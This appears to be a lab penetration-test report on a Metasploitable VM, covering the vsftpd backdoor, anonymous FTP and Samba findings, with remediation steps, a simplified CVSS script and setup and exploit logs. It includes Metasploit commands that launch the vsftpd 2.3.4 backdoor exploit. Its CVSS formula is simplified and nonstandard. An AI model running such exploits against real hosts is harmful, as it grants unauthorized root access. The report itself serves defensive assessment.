Date: December 31, 2025

1. Executive Summary

This assessment evaluated the security posture of the internal target environment (Metasploitable 3/Lab). The overall security rating is **INADEQUATE**. Multiple critical vulnerabilities were discovered that allow for unauthorized remote code execution (RCE) and full system takeover. Immediate remediation is required for services exposed to the network.

High-Level Risks

- **System Takeover:** Attackers can gain "root" access via known backdoors in legacy services.
- **Data Exposure:** Sensitive files and database contents are accessible via anonymous login.
- **Service Disruption:** Outdated protocols are susceptible to Denial of Service (DoS).

2. Scope & Methodology

2.1 Scope

- **Target Host:** 192.168.56.101 (Lab VM)
- **Network:** Host-Only Virtual Network
- **Exclusions:** Stress testing/DDoS was not performed to maintain lab stability.

2.2 Methodology

The assessment followed the **VAPT Phases**:

1. **Reconnaissance:** Service discovery via Nmap.
2. **Vulnerability Scanning:** Identification of CVEs using OpenVAS and manual analysis.
3. **Exploitation:** Validation of vulnerabilities via Metasploit Framework.
4. **Risk Assessment:** Scoring via CVSS 3.1.

3. Risk Assessment Matrix

We use a 3x3 matrix to prioritize fixes based on **Likelihood** vs. **Impact**.

Likelihood \ Impact	**Low**	**Medium**	**High**
High	Medium Risk	High Risk	**CRITICAL**
Medium	Low Risk	Medium Risk	High Risk
Low	Low Risk	Low Risk	Medium Risk

4. Technical Findings

Finding 1: FTP Service Backdoor (vsftpd 2.3.4)

- **Severity:** Critical (CVSS 9.8)
- **Description:** The version of vsftpd running on port 21 contains a malicious backdoor that responds to a specific string in the username with a root shell on port 6200.
- **Proof of Concept:**

```
# Metasploit Command
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
exploit
```

Remediation: Remove the vsftpd 2.3.4 package and install the latest stable version from official repositories.

Finding 2: Anonymous FTP Login Enabled

- **Severity:** Medium (CVSS 5.3)
- **Description:** Users can log in to the FTP server using the username anonymous without a password.
- **Impact:** Potential exposure of sensitive configuration files or customer data.
- **Remediation:** Update /etc/vsftpd.conf to set anonymous_enable=NO.

Finding 3: Outdated Samba Service (CVE-2007-2447)

- **Severity:** Critical (CVSS 10.0)
- **Description:** The "Username map script" vulnerability allows remote attackers to execute arbitrary commands.
- **Remediation:** Upgrade Samba to a non-vulnerable version and restrict access to ports 139/445 via firewall.

---

5. Summary of Sources Consulted

1. **NIST NVD:** Used for CVSS 3.1 scoring and CVE descriptions.
2. **OWASP Web Security Testing Guide:** Methodology for web-specific attacks.
3. **Exploit-DB:** Reference for manual exploitation verification.
4. **Rapid7 Metasploitable Guide:** Baseline for service identification.

---

6. Remediation Roadmap

Priority	Task	Tool/Resource
1	Patch/Disable port 21 (vsftpd)	apt-get update
2	Secure Samba configurations	/etc/samba/smb.conf

Priority	Task	Tool/Resource
3	Implement Host-based Firewall	UFW or iptables

7. Python CVSS Calculator Script:

```
def calculate_severity(score):
    if score == 0: return "None"
    if 0.1 <= score <= 3.9: return "Low"
    if 4.0 <= score <= 6.9: return "Medium"
    if 7.0 <= score <= 8.9: return "High"
    if 9.0 <= score <= 10.0: return "Critical"
    return "Unknown"

def basic_cvss_calculator():
    print("--- VAPT Risk Assessment Tool ---")
    print("Rate the following from 0.0 to 1.0 (or as specified)")

    try:
        # Simplified CVSS Base Score Logic
        attack_vector = float(input("Attack Vector (Network: 0.85, Local: 0.55): "))
        complexity = float(input("Attack Complexity (Low: 0.77, High: 0.44): "))
        privileges = float(input("Privileges Required (None: 0.85, Low: 0.62, High: 0.27): "))
        confidentiality = float(input("Confidentiality Impact (High: 0.56, Low: 0.22, None: 0): "))
        integrity = float(input("Integrity Impact (High: 0.56, Low: 0.22, None: 0): "))

        # Base Score Formula (Simplified for Lab use)
        impact = 1 - ((1 - confidentiality) * (1 - integrity))
        exploitability = 8.22 * attack_vector * complexity * privileges
        raw_score = min(10, (impact * exploitability) * 1.5)

        final_score = round(raw_score, 1)
        severity = calculate_severity(final_score)

        print(f"\n--- Result ---")
        print(f"Calculated CVSS Score: {final_score}")
        print(f"Severity: {severity}")

    except ValueError:
        print("Invalid input. Please enter numeric values.")

if __name__ == "__main__":
    basic_cvss_calculator()
```

```
notus/ to /var/lib/notus
.: Downloading NASL files from
rsync://feed.community.greenbone.net/community/vulnerability-feed/24.10/vt-data/
nasl/ to /var/lib/openvas/plugins
Releasing lock on /var/lib/openvas/feed-update.lock

Trying to acquire lock on /var/lib/gvm/feed-update.lock
Acquired lock on /var/lib/gvm/feed-update.lock
': Downloading SCAP data from
rsync://feed.community.greenbone.net/community/vulnerability-feed/24.10/scap-dat
a/ to /var/lib/gvm/scap-data
 io timeout after 312 seconds -- exiting
rsync error: timeout in data send/receive (code 30) at io.c(201)
rsync error: received SIGUSR1 (code 19) at main.c(1600)

:. Downloading CERT-Bund data from
rsync://feed.community.greenbone.net/community/vulnerability-feed/24.10/cert-dat
a/ to /var/lib/gvm/cert-data
': Downloading gvmd data from
rsync://feed.community.greenbone.net/community/data-feed/24.10/ to
/var/lib/gvm/data-objects/gvmd
Releasing lock on /var/lib/gvm/feed-update.lock

[*] Checking Default scanner
```

```
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432"
failed: FATAL:  database "gvmd" does not exist

[*] Creating extension pg-gvm
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432"
failed: FATAL:  database "gvmd" does not exist
[>] Migrating database
[>] Checking for GVM admin user
[*] Creating user admin for gvm
[*] Please note the generated admin password
[*]
[*] Configure Feed Import Owner
psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432"
failed: FATAL:  database "gvmd" does not exist
[*] Define Feed Import Owner

(gvmd:21226): md   main-CRITICAL **: 18:49:21.824: gvmd: g_option_context_parse:
 Missing argument for --value
[*] Update GVM feeds
Running as root. Switching to user '_gvm' and group '_gvm'.
Trying to acquire lock on /var/lib/openvas/feed-update.lock
Acquired lock on /var/lib/openvas/feed-update.lock
:. Downloading Notus files from
rsync://feed.community.greenbone.net/community/vulnerability-feed/24.10/vt-data/
```

```
================

   #  Name                                  Disclosure Date  Rank       Check  D
escription
   -  ----                                  ---------------  ----       -----  -
----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    V
SFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     V
SFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploi
t/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.105
RHOSTS => 192.168.1.105
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[-] 192.168.1.105:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The
connection with (192.168.1.105:21) timed out.
[*] Exploit completed, but no session was created.
```